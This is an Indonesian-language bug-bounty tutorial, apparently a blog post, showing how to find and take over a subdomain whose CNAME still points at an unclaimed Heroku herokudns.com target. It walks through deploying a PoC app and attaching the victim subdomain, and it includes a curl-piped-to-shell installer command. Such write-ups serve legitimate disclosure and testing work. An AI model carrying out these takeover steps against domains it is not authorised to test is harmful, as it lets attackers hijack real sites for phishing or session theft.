Beberapa situs perusahaan di yang mengikuti program BugBounty di HackerOne pernah terkena kerentanan subdomain takeover via Heroku. Jadi bisa disimpulkan bahwa Heroku ini cukup populer. Nah di tutorial kali ini saya akan sharing bagaimana cara melakukan subdomain takeover via Heroku.
Ciri-ciri subdomain yang memiliki kerentanan:
There’s nothing here, yet.
Syarat subdomain bisa ditakeover:
CNAME record mengarah ke [customdomain].herokudns.com. Sebagai contoh, misal sebuah subdomain yang menggunakan layanan Heroku, sebut saja takeoverpoc.zafkiel.net menampilkan laman error seperti diatas, dan ketika di cek via dig subdomain tersebut mengarah ke takeoverpoc.zafkiel.net.herokudns.com, maka subdomain tersebut bisa ditakeover.
takeoverpoc.zafkiel.net 60 IN CNAME takeoverpoc.zafkiel.net.herokudns.com
How to Exploit
Oke sebelumnya, perlu diketahui bahwa untuk keberhasilan eksploitasi takeover domain di heroku dibutuhkan akun yang sudah terverifikasi (sudah terhubung ke credit card). Jadi pastikan kalian punya akun yang sudah terhubung ke kartu kredit.
Pertama, daftar di Heroku. – https://signup.heroku.com/
Oke cara daftar skip aja ya. Sekarang bagaimana cara deploy app di Heroku.
- Pertama, install git.
- Kedua, install heroku CLI
curl https://cli-assets.heroku.com/install.sh | sh
Oke, sekarang kita buat simple page saja untuk PoC subdomain takeover.
cd ~ mkdir herokudeploy cd herokudeploy echo "{}" > composer.json echo "Subdomain takeover PoC" > index.html touch index.php
Lalu edit index.php dan isikan
<?php header( 'Location: /index.html' ) ; ?>
Lanjut
git init git add . git commit -m "just simple poc" heroku apps:create justsimplesubdomaintakeoverpoc
Jika nama apps nya belum ada di Heroku, maka apps tersebut akan dibuat. Dan juga jika kalian belum pernah login ke Heroku kalian akan diminta email dan password akun Heroku. Silahkan login. Selanjutnya tinggal push file di local ke repo Heroku.
git push heroku master
Aplikasi yang kalian deploy bisa dilihat di [namaapps].herokuapp.com. Contoh di tutorial ini menjadi:
- https://justsimplesubdomaintakeoverpoc.herokuapp.com
Nah langkah selanjutnya disini adalah menambahkan subdomain yang ingin ditakeover di
Lalu Add Domain
Tunggu sampai prosesnya selesai.
Done. Proses takeover selesai.